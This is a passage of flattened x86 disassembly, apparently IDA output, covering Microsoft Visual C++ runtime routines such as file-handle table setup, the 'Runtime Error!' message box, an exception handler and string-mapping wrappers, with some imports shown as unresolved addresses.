CODE XREF: sub_41F2D9+BDj ; sub_41F2D9+D5j test edi, edi jz short loc_41F483 and dword ptr [edi], 0 loc_41F483: ; CODE XREF: sub_41F2D9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F2D9 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4CDB70 push ebx push ebp mov ebp, dword_42403C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F4DB call ebp mov esi, eax cmp esi, ebx jz short loc_41F4BC mov dword_4CDB70, 1 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: ___:0041F4AEj nop call near ptr 26102E8h mov edi, eax cmp edi, ebx jz loc_41F5B6 mov dword_4CDB70, 2 jmp loc_41F56A ; --------------------------------------------------------------------------- loc_41F4DB: ; CODE XREF: ___:0041F4A6j cmp eax, 1 jnz loc_41F565 loc_41F4E4: ; CODE XREF: ___:0041F4BAj cmp esi, ebx jnz short loc_41F4F4 call ebp mov esi, eax cmp esi, ebx jz loc_41F5B6 loc_41F4F4: ; CODE XREF: ___:0041F4E6j cmp [esi], bx mov eax, esi jz short loc_41F509 loc_41F4FB: ; CODE XREF: ___:0041F500j ; ___:0041F507j inc eax inc eax cmp [eax], bx jnz short loc_41F4FB inc eax inc eax cmp [eax], bx jnz short loc_41F4FB loc_41F509: ; CODE XREF: ___:0041F4F9j sub eax, esi mov edi, dword_424150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41F55A push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_41F55A push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_41F556 push dword ptr [esp+10h] call sub_417C3B pop ecx mov [esp+10h], ebx loc_41F556: ; CODE XREF: ___:0041F546j mov ebx, [esp+10h] loc_41F55A: ; CODE XREF: ___:0041F526j ; ___:0041F535j push esi nop call near ptr 261051Fh mov eax, ebx jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: ___:0041F4DEj cmp eax, 2 jnz short loc_41F5B6 loc_41F56A: ; CODE XREF: ___:0041F4D6j cmp edi, ebx jnz short loc_41F57A nop call near ptr 26102E8h mov edi, eax cmp edi, ebx jz short loc_41F5B6 loc_41F57A: ; CODE XREF: ___:0041F56Cj cmp [edi], bl mov eax, edi jz short loc_41F58A loc_41F580: ; CODE XREF: ___:0041F583j ; ___:0041F588j inc eax cmp [eax], bl jnz short loc_41F580 inc eax cmp [eax], bl jnz short loc_41F580 loc_41F58A: ; CODE XREF: ___:0041F57Ej sub eax, edi inc eax mov ebp, eax push ebp call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41F5A0 xor esi, esi jmp short loc_41F5AB ; --------------------------------------------------------------------------- loc_41F5A0: ; CODE XREF: ___:0041F59Aj push ebp push edi push esi call sub_417390 add esp, 0Ch loc_41F5AB: ; CODE XREF: ___:0041F59Ej push edi call near ptr 2610549h nop mov eax, esi jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F5B6: ; CODE XREF: ___:0041F4C6j ; ___:0041F4EEj ... xor eax, eax loc_41F5B8: ; CODE XREF: ___:0041F563j ; ___:0041F5B4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_41F5DF push 1Bh call sub_419CDA pop ecx loc_41F5DF: ; CODE XREF: ___:0041F5D5j mov dword_4CECE0, esi mov dword_4CEDE0, 20h lea eax, [esi+100h] loc_41F5F5: ; CODE XREF: ___:0041F611j cmp esi, eax jnb short loc_41F613 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4CECE0 add esi, 8 add eax, 100h jmp short loc_41F5F5 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: ___:0041F5F7j lea eax, [esp+10h] push eax nop call near ptr 2860000h cmp word ptr [esp+42h], 0 jz loc_41F6EF mov eax, [esp+44h] test eax, eax jz loc_41F6EF mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F649 mov esi, eax loc_41F649: ; CODE XREF: ___:0041F645j cmp dword_4CEDE0, esi jge short loc_41F6A3 mov edi, offset dword_4CECE4 loc_41F656: ; CODE XREF: ___:0041F699j push 100h call sub_417B89 test eax, eax pop ecx jz short loc_41F69D add dword_4CEDE0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F674: ; CODE XREF: ___:0041F68Ej cmp eax, ecx jnb short loc_41F690 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F674 ; --------------------------------------------------------------------------- loc_41F690: ; CODE XREF: ___:0041F676j add edi, 4 cmp dword_4CEDE0, esi jl short loc_41F656 jmp short loc_41F6A3 ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: ___:0041F663j mov esi, dword_4CEDE0 loc_41F6A3: ; CODE XREF: ___:0041F64Fj ; ___:0041F69Bj xor edi, edi test esi, esi jle short loc_41F6EF loc_41F6A9: ; CODE XREF: ___:0041F6EDj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F6E6 mov cl, [ebp+0] test cl, 1 jz short loc_41F6E6 test cl, 8 jnz short loc_41F6C8 push eax nop call near ptr 260092Dh test eax, eax jz short loc_41F6E6 loc_41F6C8: ; CODE XREF: ___:0041F6BBj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F6E6: ; CODE XREF: ___:0041F6AEj ; ___:0041F6B6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F6A9 loc_41F6EF: ; CODE XREF: ___:0041F624j ; ___:0041F630j ... xor ebx, ebx loc_41F6F1: ; CODE XREF: ___:0041F754j mov eax, dword_4CECE0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F74C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F70C push 0FFFFFFF6h pop eax jmp short loc_41F716 ; --------------------------------------------------------------------------- loc_41F70C: ; CODE XREF: ___:0041F705j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F716: ; CODE XREF: ___:0041F70Aj push eax nop call near ptr 2610000h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F73B push edi call near ptr 260092Dh nop test eax, eax jz short loc_41F73B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F741 loc_41F73B: ; CODE XREF: ___:0041F722j ; ___:0041F72Dj or byte ptr [esi+4], 40h jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F741: ; CODE XREF: ___:0041F739j cmp eax, 3 jnz short loc_41F750 or byte ptr [esi+4], 8 jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F74C: ; CODE XREF: ___:0041F6FDj or byte ptr [esi+4], 80h loc_41F750: ; CODE XREF: ___:0041F73Fj ; ___:0041F744j ... inc ebx cmp ebx, 3 jl short loc_41F6F1 push dword_4CEDE0 nop call near ptr 2610207h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao ; sub_41D120+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F814 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F7A7: ; CODE XREF: sub_41F774+90j cmp esi, 0FFFFFFFFh jz short loc_41F80D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F7FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F7FB js short loc_41F806 mov edi, [ebx+8] push ebx call sub_4181A0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4181E2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_418276 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F7FB: ; CODE XREF: sub_41F774+40j ; sub_41F774+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F7A7 ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F774+54j mov eax, 0 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F80D: ; CODE XREF: sub_41F774+36j mov eax, 1 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F814: ; CODE XREF: sub_41F774+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4181E2 add esp, 8 pop ebp mov eax, 1 loc_41F829: ; CODE XREF: sub_41F774+97j ; sub_41F774+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F774 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4181E2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F84C proc near ; CODE XREF: sub_419CDA+9p mov eax, dword_4CDA08 cmp eax, 1 jz short loc_41F863 test eax, eax jnz short locret_41F884 cmp dword_433C64, 1 jnz short locret_41F884 loc_41F863: ; CODE XREF: sub_41F84C+8j push 0FCh call sub_41F885 mov eax, dword_4CDB74 pop ecx test eax, eax jz short loc_41F879 call eax loc_41F879: ; CODE XREF: sub_41F84C+29j push 0FFh call sub_41F885 pop ecx locret_41F884: ; CODE XREF: sub_41F84C+Cj ; sub_41F84C+15j retn sub_41F84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F885 proc near ; CODE XREF: sub_419CDA+12p ; sub_41F84C+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4362F8 loc_41F898: ; CODE XREF: sub_41F885+20j cmp edx, [eax] jz short loc_41F8A7 add eax, 8 inc ecx cmp eax, offset off_436388 jl short loc_41F898 loc_41F8A7: ; CODE XREF: sub_41F885+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_4362F8[esi] jnz loc_41F9D5 mov eax, dword_4CDA08 cmp eax, 1 jz loc_41F9AF test eax, eax jnz short loc_41F8D8 cmp dword_433C64, 1 jz loc_41F9AF loc_41F8D8: ; CODE XREF: sub_41F885+44j cmp edx, 0FCh jz loc_41F9D5 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2680000h nop test eax, eax jnz short loc_41F90F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4179C0 pop ecx pop ecx loc_41F90F: ; CODE XREF: sub_41F885+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_417AB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F952 lea eax, [ebp+var_1A4] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418C10 add esp, 10h loc_41F952: ; CODE XREF: sub_41F885+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4179C0 lea eax, [ebp+var_A0] push edi push eax call sub_4179D0 lea eax, [ebp+var_A0] push offset asc_424BA8 ; "\n\n" push eax call sub_4179D0 push off_4362FC[esi] lea eax, [ebp+var_A0] push eax call sub_4179D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42105F add esp, 2Ch pop edi jmp short loc_41F9D5 ; --------------------------------------------------------------------------- loc_41F9AF: ; CODE XREF: sub_41F885+3Cj ; sub_41F885+4Dj lea eax, [ebp+arg_0] lea esi, off_4362FC[esi] push 0 push eax push dword ptr [esi] call sub_417AB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 2610000h nop push eax call near ptr 2660000h nop loc_41F9D5: ; CODE XREF: sub_41F885+2Ej ; sub_41F885+59j ... pop esi leave retn sub_41F885 endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp ; sub_41E248+32p ... arg_0 = dword ptr 4 inc dword_4CDB78 push 1000h call sub_417B89 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41FA01 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41FA12 ; --------------------------------------------------------------------------- loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41FA12: ; CODE XREF: sub_41F9D8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA1C proc near ; CODE XREF: sub_419D23+61p ; sub_41A8A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jb short loc_41FA2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41FA1C endp ; =============== S U B R O U T I N E ======================================= sub_41FA42 proc near ; DATA XREF: ___:00426020o mov eax, dword_4CECC0 push esi push 14h test eax, eax pop esi jnz short loc_41FA56 mov eax, 200h jmp short loc_41FA5C ; --------------------------------------------------------------------------- loc_41FA56: ; CODE XREF: sub_41FA42+Bj cmp eax, esi jge short loc_41FA61 mov eax, esi loc_41FA5C: ; CODE XREF: sub_41FA42+12j mov dword_4CECC0, eax loc_41FA61: ; CODE XREF: sub_41FA42+16j push 4 push eax call sub_4210E8 pop ecx mov dword_4CDCB0, eax test eax, eax pop ecx jnz short loc_41FA95 push 4 push esi mov dword_4CECC0, esi call sub_4210E8 pop ecx mov dword_4CDCB0, eax test eax, eax pop ecx jnz short loc_41FA95 push 1Ah call sub_419CDA pop ecx loc_41FA95: ; CODE XREF: sub_41FA42+30j ; sub_41FA42+49j xor ecx, ecx mov eax, offset off_436388 loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej mov edx, dword_4CDCB0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_436608 jl short loc_41FA9C xor edx, edx mov ecx, offset dword_436398 loc_41FAB9: ; CODE XREF: sub_41FA42+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4CECE0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41FAD6 test eax, eax jnz short loc_41FAD9 loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41FAD9: ; CODE XREF: sub_41FA42+92j add ecx, 20h inc edx cmp ecx, offset dword_4363F8 jl short loc_41FAB9 pop esi retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= sub_41FAE7 proc near ; DATA XREF: ___:00426030o ; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES call sub_41A82C cmp byte_4CD9F4, 0 jz short locret_41FAFA jmp loc_421199 ; --------------------------------------------------------------------------- locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj retn sub_41FAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p ; sub_419E38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41FB07 pop ebp retn ; --------------------------------------------------------------------------- loc_41FB07: ; CODE XREF: sub_41FAFB+8j cmp dword_4CDA48, 0 jnz short loc_41FB22 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41FB54 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41FAFB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_433E7C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4CDA58 nop call near ptr 27E0000h test eax, eax jz short loc_41FB54 cmp [ebp+arg_0], 0 jz short loc_41FB61 loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej ; sub_41FAFB+51j mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh loc_41FB61: ; CODE XREF: sub_41FAFB+57j pop ebp retn sub_41FAFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep ; sub_41EB6C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424BE8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4CDB7C xor ebx, ebx cmp eax, ebx jnz short loc_41FBD2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25F0000h test eax, eax jz short loc_41FBB0 mov eax, esi jmp short loc_41FBCD ; --------------------------------------------------------------------------- loc_41FBB0: ; CODE XREF: sub_41FB63+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_436EF4 push esi push ebx nop call near ptr 2600000h test eax, eax jz loc_41FC98 push 2 pop eax loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj mov dword_4CDB7C, eax loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj cmp eax, 2 jnz short loc_41FBFB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41FBE3 mov eax, dword_4CDA48 loc_41FBE3: ; CODE XREF: sub_41FB63+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2600000h nop jmp loc_41FC9A ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FB63+72j cmp eax, 1 jnz loc_41FC98 cmp [ebp+arg_10], ebx jnz short loc_41FC11 mov eax, dword_4CDA58 mov [ebp+arg_10], eax loc_41FC11: ; CODE XREF: sub_41FB63+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2640000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_41FC98 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417330 add esp, 0Ch jmp short loc_41FC67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41FC67: ; CODE XREF: sub_41FB63+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41FC98 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2640000h cmp eax, ebx jz short loc_41FC98 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 25F0000h jmp short loc_41FC9A ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FB63+61j ; sub_41FB63+9Bj ... xor eax, eax loc_41FC9A: ; CODE XREF: sub_41FB63+93j ; sub_41FB63+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41FB63 endp ; =============== S U B R O U T I N E ======================================= sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4CECE0 loc_41FCBB: ; CODE XREF: sub_41FCAC+48j mov eax, [ecx] test eax, eax jz short loc_41FCF8 lea edx, [eax+100h] loc_41FCC7: ; CODE XREF: sub_41FCAC+28j cmp eax, edx jnb short loc_41FCE7 test byte ptr [eax+4], 1 jz short loc_41FCD6 add eax, 8 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCD6: ; CODE XREF: sub_41FCAC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FD3B loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4CEDE0 jl short loc_41FCBB jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FCAC+13j mov esi, 100h push esi call sub_417B89 test eax, eax pop ecx jz short loc_41FD3B add dword_4CEDE0, 20h lea ecx, ds:4CECE0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FD1E: ; CODE XREF: sub_41FCAC+88j cmp eax, edx jnb short loc_41FD36 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FD1E ; --------------------------------------------------------------------------- loc_41FD36: ; CODE XREF: sub_41FCAC+74j shl edi, 5 mov ebx, edi loc_41FD3B: ; CODE XREF: sub_41FCAC+39j ; sub_41FCAC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41FCAC endp ; =============== S U B R O U T I N E ======================================= sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4CEDE0 push edi jnb short loc_41FDA1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FDA1 cmp dword_433C64, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FD97 sub eax, 0 jz short loc_41FD8E dec eax jz short loc_41FD89 dec eax jnz short loc_41FD97 push ebx push 0FFFFFFF4h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD89: ; CODE XREF: sub_41FD41+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj push ebx push 0FFFFFFF6h loc_41FD91: ; CODE XREF: sub_41FD41+46j ; sub_41FD41+4Bj nop call near ptr 25E05E4h loc_41FD97: ; CODE XREF: sub_41FD41+36j ; sub_41FD41+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FDB5 ; --------------------------------------------------------------------------- loc_41FDA1: ; CODE XREF: sub_41FD41+Cj ; sub_41FD41+28j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej pop edi pop esi retn sub_41FD41 endp ; =============== S U B R O U T I N E ======================================= sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4CEDE0 push edi jnb short loc_41FE1B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FE1B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FE1B cmp dword_433C64, 1 jnz short loc_41FE11 xor eax, eax sub ecx, eax jz short loc_41FE08 dec ecx jz short loc_41FE03 dec ecx jnz short loc_41FE11 push eax push 0FFFFFFF4h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE03: ; CODE XREF: sub_41FDB8+41j push eax push 0FFFFFFF5h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej push eax push 0FFFFFFF6h loc_41FE0B: ; CODE XREF: sub_41FDB8+49j ; sub_41FDB8+4Ej nop call near ptr 25E05E4h loc_41FE11: ; CODE XREF: sub_41FDB8+38j ; sub_41FDB8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FE2F ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj ; sub_41FDB8+2Aj ... and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh loc_41FE2F: ; CODE XREF: sub_41FDB8+61j pop edi pop esi retn sub_41FDB8 endp ; =============== S U B R O U T I N E ======================================= sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p ; sub_41A6B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jnb short loc_41FE5A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FE5A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FE32+Aj ; sub_41FE32+23j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh retn sub_41FE32 endp ; =============== S U B R O U T I N E ======================================= sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jnb short loc_41FEB8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4CECE0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FEB8 push eax call sub_41FE32 pop ecx push eax nop call near ptr 25E0086h test eax, eax jnz short loc_41FEAD nop call near ptr 26702AAh jmp short loc_41FEAF ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FE6F+34j xor eax, eax loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj test eax, eax jz short locret_41FEC5 mov dword_4CD9B8, eax loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj ; sub_41FE6F+22j mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh locret_41FEC5: ; CODE XREF: sub_41FE6F+42j retn sub_41FE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FEEC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FEF7: ; CODE XREF: sub_41FEC6+24j mov eax, 8000h test ecx, eax jnz short loc_41FF11 test ch, 40h jnz short loc_41FF0D cmp dword_4CDC88, eax jz short loc_41FF11 loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj or [ebp+var_1], 80h loc_41FF11: ; CODE XREF: sub_41FEC6+38j ; sub_41FEC6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FF49 dec eax jz short loc_41FF40 dec eax jz short loc_41FF37 loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj ; sub_41FEC6+E8j ... mov dword_4CD9B4, 16h mov dword_4CD9B8, ebx jmp loc_42015C ; --------------------------------------------------------------------------- loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF40: ; CODE XREF: sub_41FEC6+57j mov [ebp+var_C], 40000000h jmp short 